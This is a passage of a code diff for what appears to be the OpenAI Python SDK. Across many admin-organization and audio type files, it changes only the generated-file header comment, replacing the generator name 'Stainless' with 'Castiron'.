--- a/src/openai/types/admin/organization/projects/spend_alert_create_params.py
+++ b/src/openai/types/admin/organization/projects/spend_alert_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/spend_alert_list_params.py b/src/openai/types/admin/organization/projects/spend_alert_list_params.py
index a37bad5879..865ae35ef3 100644
--- a/src/openai/types/admin/organization/projects/spend_alert_list_params.py
+++ b/src/openai/types/admin/organization/projects/spend_alert_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/spend_alert_update_params.py b/src/openai/types/admin/organization/projects/spend_alert_update_params.py
index 1611c531e8..c4e87a9226 100644
--- a/src/openai/types/admin/organization/projects/spend_alert_update_params.py
+++ b/src/openai/types/admin/organization/projects/spend_alert_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/spend_limit_update_params.py b/src/openai/types/admin/organization/projects/spend_limit_update_params.py
index 34d75f4e41..826c8d5927 100644
--- a/src/openai/types/admin/organization/projects/spend_limit_update_params.py
+++ b/src/openai/types/admin/organization/projects/spend_limit_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/user_create_params.py b/src/openai/types/admin/organization/projects/user_create_params.py
index 4266ed01f9..c2d32a4a19 100644
--- a/src/openai/types/admin/organization/projects/user_create_params.py
+++ b/src/openai/types/admin/organization/projects/user_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/user_delete_response.py b/src/openai/types/admin/organization/projects/user_delete_response.py
index 271d3a4126..a9af53e4bc 100644
--- a/src/openai/types/admin/organization/projects/user_delete_response.py
+++ b/src/openai/types/admin/organization/projects/user_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/user_list_params.py b/src/openai/types/admin/organization/projects/user_list_params.py
index d561e907b1..b1db15f08b 100644
--- a/src/openai/types/admin/organization/projects/user_list_params.py
+++ b/src/openai/types/admin/organization/projects/user_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/user_update_params.py b/src/openai/types/admin/organization/projects/user_update_params.py
index 20a4276567..a97ee03a75 100644
--- a/src/openai/types/admin/organization/projects/user_update_params.py
+++ b/src/openai/types/admin/organization/projects/user_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/users/__init__.py b/src/openai/types/admin/organization/projects/users/__init__.py
index 5e67517593..8e592ec17b 100644
--- a/src/openai/types/admin/organization/projects/users/__init__.py
+++ b/src/openai/types/admin/organization/projects/users/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/users/role_create_params.py b/src/openai/types/admin/organization/projects/users/role_create_params.py
index 2aba01e8a4..df4a8ede6d 100644
--- a/src/openai/types/admin/organization/projects/users/role_create_params.py
+++ b/src/openai/types/admin/organization/projects/users/role_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/users/role_create_response.py b/src/openai/types/admin/organization/projects/users/role_create_response.py
index 533df36500..3ef8b95044 100644
--- a/src/openai/types/admin/organization/projects/users/role_create_response.py
+++ b/src/openai/types/admin/organization/projects/users/role_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/users/role_delete_response.py b/src/openai/types/admin/organization/projects/users/role_delete_response.py
index 704de05117..66c7beafab 100644
--- a/src/openai/types/admin/organization/projects/users/role_delete_response.py
+++ b/src/openai/types/admin/organization/projects/users/role_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ......_models import BaseModel
diff --git a/src/openai/types/admin/organization/projects/users/role_list_params.py b/src/openai/types/admin/organization/projects/users/role_list_params.py
index ffdbe210d2..9681c93316 100644
--- a/src/openai/types/admin/organization/projects/users/role_list_params.py
+++ b/src/openai/types/admin/organization/projects/users/role_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/users/role_list_response.py b/src/openai/types/admin/organization/projects/users/role_list_response.py
index d43d0f806b..f5ed0b9ad5 100644
--- a/src/openai/types/admin/organization/projects/users/role_list_response.py
+++ b/src/openai/types/admin/organization/projects/users/role_list_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Optional
diff --git a/src/openai/types/admin/organization/projects/users/role_retrieve_response.py b/src/openai/types/admin/organization/projects/users/role_retrieve_response.py
index 0c10cf0092..8f7e6f0784 100644
--- a/src/openai/types/admin/organization/projects/users/role_retrieve_response.py
+++ b/src/openai/types/admin/organization/projects/users/role_retrieve_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Optional
diff --git a/src/openai/types/admin/organization/role.py b/src/openai/types/admin/organization/role.py
index 4795144c68..1be551344b 100644
--- a/src/openai/types/admin/organization/role.py
+++ b/src/openai/types/admin/organization/role.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/role_create_params.py b/src/openai/types/admin/organization/role_create_params.py
index 60aaeb7383..4d7315c24a 100644
--- a/src/openai/types/admin/organization/role_create_params.py
+++ b/src/openai/types/admin/organization/role_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/role_delete_response.py b/src/openai/types/admin/organization/role_delete_response.py
index 934140d363..e4383cb415 100644
--- a/src/openai/types/admin/organization/role_delete_response.py
+++ b/src/openai/types/admin/organization/role_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/role_list_params.py b/src/openai/types/admin/organization/role_list_params.py
index 88e957f886..2257ed3a97 100644
--- a/src/openai/types/admin/organization/role_list_params.py
+++ b/src/openai/types/admin/organization/role_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/role_update_params.py b/src/openai/types/admin/organization/role_update_params.py
index 955ca170a8..6cd125a99b 100644
--- a/src/openai/types/admin/organization/role_update_params.py
+++ b/src/openai/types/admin/organization/role_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/spend_alert_create_params.py b/src/openai/types/admin/organization/spend_alert_create_params.py
index f787abdfe1..0c087a6153 100644
--- a/src/openai/types/admin/organization/spend_alert_create_params.py
+++ b/src/openai/types/admin/organization/spend_alert_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/spend_alert_list_params.py b/src/openai/types/admin/organization/spend_alert_list_params.py
index a37bad5879..865ae35ef3 100644
--- a/src/openai/types/admin/organization/spend_alert_list_params.py
+++ b/src/openai/types/admin/organization/spend_alert_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/spend_alert_update_params.py b/src/openai/types/admin/organization/spend_alert_update_params.py
index ddba8a81e1..0ba6920282 100644
--- a/src/openai/types/admin/organization/spend_alert_update_params.py
+++ b/src/openai/types/admin/organization/spend_alert_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/spend_limit_update_params.py b/src/openai/types/admin/organization/spend_limit_update_params.py
index 34d75f4e41..826c8d5927 100644
--- a/src/openai/types/admin/organization/spend_limit_update_params.py
+++ b/src/openai/types/admin/organization/spend_limit_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/usage_audio_speeches_params.py b/src/openai/types/admin/organization/usage_audio_speeches_params.py
index 5d3eff286c..ccde991087 100644
--- a/src/openai/types/admin/organization/usage_audio_speeches_params.py
+++ b/src/openai/types/admin/organization/usage_audio_speeches_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/usage_audio_speeches_response.py b/src/openai/types/admin/organization/usage_audio_speeches_response.py
index 186359bf21..215b94edd9 100644
--- a/src/openai/types/admin/organization/usage_audio_speeches_response.py
+++ b/src/openai/types/admin/organization/usage_audio_speeches_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/admin/organization/usage_audio_transcriptions_params.py b/src/openai/types/admin/organization/usage_audio_transcriptions_params.py
index ca5cd13c78..1b50182eac 100644
--- a/src/openai/types/admin/organization/usage_audio_transcriptions_params.py
+++ b/src/openai/types/admin/organization/usage_audio_transcriptions_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/usage_audio_transcriptions_response.py b/src/openai/types/admin/organization/usage_audio_transcriptions_response.py
index 14c440245f..77c9b50647 100644
--- a/src/openai/types/admin/organization/usage_audio_transcriptions_response.py
+++ b/src/openai/types/admin/organization/usage_audio_transcriptions_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/admin/organization/usage_code_interpreter_sessions_params.py b/src/openai/types/admin/organization/usage_code_interpreter_sessions_params.py
index dd4b59c2ab..5444adf1de 100644
--- a/src/openai/types/admin/organization/usage_code_interpreter_sessions_params.py
+++ b/src/openai/types/admin/organization/usage_code_interpreter_sessions_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/usage_code_interpreter_sessions_response.py b/src/openai/types/admin/organization/usage_code_interpreter_sessions_response.py
index b8522dde68..34fc489886 100644
--- a/src/openai/types/admin/organization/usage_code_interpreter_sessions_response.py
+++ b/src/openai/types/admin/organization/usage_code_interpreter_sessions_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/admin/organization/usage_completions_params.py b/src/openai/types/admin/organization/usage_completions_params.py
index e7dbe2187e..341e27b5dc 100644
--- a/src/openai/types/admin/organization/usage_completions_params.py
+++ b/src/openai/types/admin/organization/usage_completions_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/usage_completions_response.py b/src/openai/types/admin/organization/usage_completions_response.py
index 0a1674d8f1..40f23e9d3f 100644
--- a/src/openai/types/admin/organization/usage_completions_response.py
+++ b/src/openai/types/admin/organization/usage_completions_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/admin/organization/usage_costs_params.py b/src/openai/types/admin/organization/usage_costs_params.py
index e848643339..4780058953 100644
--- a/src/openai/types/admin/organization/usage_costs_params.py
+++ b/src/openai/types/admin/organization/usage_costs_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/usage_costs_response.py b/src/openai/types/admin/organization/usage_costs_response.py
index 348e9db60f..aca7d4d045 100644
--- a/src/openai/types/admin/organization/usage_costs_response.py
+++ b/src/openai/types/admin/organization/usage_costs_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/admin/organization/usage_embeddings_params.py b/src/openai/types/admin/organization/usage_embeddings_params.py
index 56c9107b51..fe7407ab25 100644
--- a/src/openai/types/admin/organization/usage_embeddings_params.py
+++ b/src/openai/types/admin/organization/usage_embeddings_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/usage_embeddings_response.py b/src/openai/types/admin/organization/usage_embeddings_response.py
index 3d8f9d8009..3e555793d9 100644
--- a/src/openai/types/admin/organization/usage_embeddings_response.py
+++ b/src/openai/types/admin/organization/usage_embeddings_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/admin/organization/usage_file_search_calls_params.py b/src/openai/types/admin/organization/usage_file_search_calls_params.py
index 914d568c33..57d29e5393 100644
--- a/src/openai/types/admin/organization/usage_file_search_calls_params.py
+++ b/src/openai/types/admin/organization/usage_file_search_calls_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/usage_file_search_calls_response.py b/src/openai/types/admin/organization/usage_file_search_calls_response.py
index 91f239ac63..12d938a7a1 100644
--- a/src/openai/types/admin/organization/usage_file_search_calls_response.py
+++ b/src/openai/types/admin/organization/usage_file_search_calls_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/admin/organization/usage_images_params.py b/src/openai/types/admin/organization/usage_images_params.py
index 4cce8c456a..7be83dc11e 100644
--- a/src/openai/types/admin/organization/usage_images_params.py
+++ b/src/openai/types/admin/organization/usage_images_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/usage_images_response.py b/src/openai/types/admin/organization/usage_images_response.py
index 89738dc73f..adc428963d 100644
--- a/src/openai/types/admin/organization/usage_images_response.py
+++ b/src/openai/types/admin/organization/usage_images_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/admin/organization/usage_moderations_params.py b/src/openai/types/admin/organization/usage_moderations_params.py
index acb401b9a8..4ff68699c1 100644
--- a/src/openai/types/admin/organization/usage_moderations_params.py
+++ b/src/openai/types/admin/organization/usage_moderations_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/usage_moderations_response.py b/src/openai/types/admin/organization/usage_moderations_response.py
index 413c99cdef..2b3c21fef7 100644
--- a/src/openai/types/admin/organization/usage_moderations_response.py
+++ b/src/openai/types/admin/organization/usage_moderations_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/admin/organization/usage_vector_stores_params.py b/src/openai/types/admin/organization/usage_vector_stores_params.py
index bfb8dcede4..5fc726579a 100644
--- a/src/openai/types/admin/organization/usage_vector_stores_params.py
+++ b/src/openai/types/admin/organization/usage_vector_stores_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/usage_vector_stores_response.py b/src/openai/types/admin/organization/usage_vector_stores_response.py
index 23a9d90ae9..18ae9425da 100644
--- a/src/openai/types/admin/organization/usage_vector_stores_response.py
+++ b/src/openai/types/admin/organization/usage_vector_stores_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/admin/organization/usage_web_search_calls_params.py b/src/openai/types/admin/organization/usage_web_search_calls_params.py
index 544060ade4..650efd3262 100644
--- a/src/openai/types/admin/organization/usage_web_search_calls_params.py
+++ b/src/openai/types/admin/organization/usage_web_search_calls_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/usage_web_search_calls_response.py b/src/openai/types/admin/organization/usage_web_search_calls_response.py
index e76fb028fa..bb88718080 100644
--- a/src/openai/types/admin/organization/usage_web_search_calls_response.py
+++ b/src/openai/types/admin/organization/usage_web_search_calls_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/admin/organization/user_delete_response.py b/src/openai/types/admin/organization/user_delete_response.py
index b8fc8c994a..af26c8ea04 100644
--- a/src/openai/types/admin/organization/user_delete_response.py
+++ b/src/openai/types/admin/organization/user_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/user_list_params.py b/src/openai/types/admin/organization/user_list_params.py
index 7bcfc78979..8c5ad563c8 100644
--- a/src/openai/types/admin/organization/user_list_params.py
+++ b/src/openai/types/admin/organization/user_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/user_update_params.py b/src/openai/types/admin/organization/user_update_params.py
index 24181b0649..358e86ac47 100644
--- a/src/openai/types/admin/organization/user_update_params.py
+++ b/src/openai/types/admin/organization/user_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/users/__init__.py b/src/openai/types/admin/organization/users/__init__.py
index 5e67517593..8e592ec17b 100644
--- a/src/openai/types/admin/organization/users/__init__.py
+++ b/src/openai/types/admin/organization/users/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/users/role_create_params.py b/src/openai/types/admin/organization/users/role_create_params.py
index 0ebc196eef..5c676ce8d9 100644
--- a/src/openai/types/admin/organization/users/role_create_params.py
+++ b/src/openai/types/admin/organization/users/role_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/users/role_create_response.py b/src/openai/types/admin/organization/users/role_create_response.py
index 0b989ad461..e74242c6b8 100644
--- a/src/openai/types/admin/organization/users/role_create_response.py
+++ b/src/openai/types/admin/organization/users/role_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/users/role_delete_response.py b/src/openai/types/admin/organization/users/role_delete_response.py
index fb6a111614..7368e73178 100644
--- a/src/openai/types/admin/organization/users/role_delete_response.py
+++ b/src/openai/types/admin/organization/users/role_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ....._models import BaseModel
diff --git a/src/openai/types/admin/organization/users/role_list_params.py b/src/openai/types/admin/organization/users/role_list_params.py
index 451a1a2045..a40ea7da9e 100644
--- a/src/openai/types/admin/organization/users/role_list_params.py
+++ b/src/openai/types/admin/organization/users/role_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/users/role_list_response.py b/src/openai/types/admin/organization/users/role_list_response.py
index fc64f8e9a0..3d3096fc7b 100644
--- a/src/openai/types/admin/organization/users/role_list_response.py
+++ b/src/openai/types/admin/organization/users/role_list_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Optional
diff --git a/src/openai/types/admin/organization/users/role_retrieve_response.py b/src/openai/types/admin/organization/users/role_retrieve_response.py
index 576010daad..6b1638a388 100644
--- a/src/openai/types/admin/organization/users/role_retrieve_response.py
+++ b/src/openai/types/admin/organization/users/role_retrieve_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Optional
diff --git a/src/openai/types/audio/__init__.py b/src/openai/types/audio/__init__.py
index 66a7b7be86..68a5f9e4e1 100644
--- a/src/openai/types/audio/__init__.py
+++ b/src/openai/types/audio/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/audio/speech_create_params.py b/src/openai/types/audio/speech_create_params.py
index 1c0472ea85..b5e55f68d5 100644
--- a/src/openai/types/audio/speech_create_params.py
+++ b/src/openai/types/audio/speech_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/audio/speech_model.py b/src/openai/types/audio/speech_model.py
index 31294a05b6..bf9b4ccd05 100644
--- a/src/openai/types/audio/speech_model.py
+++ b/src/openai/types/audio/speech_model.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/audio/transcription.py b/src/openai/types/audio/transcription.py
index 787a2fecf3..545d596c9a 100644
--- a/src/openai/types/audio/transcription.py
+++ b/src/openai/types/audio/transcription.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/audio/transcription_create_params.py b/src/openai/types/audio/transcription_create_params.py
index 7ecba2d367..a6d8639c2d 100644
--- a/src/openai/types/audio/transcription_create_params.py
+++ b/src/openai/types/audio/transcription_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/audio/transcription_create_response.py b/src/openai/types/audio/transcription_create_response.py
index 5717a3e701..0e9cc74458 100644
--- a/src/openai/types/audio/transcription_create_response.py
+++ b/src/openai/types/audio/transcription_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import TypeAlias
diff --git a/src/openai/types/audio/transcription_diarized.py b/src/openai/types/audio/transcription_diarized.py
index 07585fe239..ff4e15032c 100644
--- a/src/openai/types/audio/transcription_diarized.py
+++ b/src/openai/types/audio/transcription_diarized.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
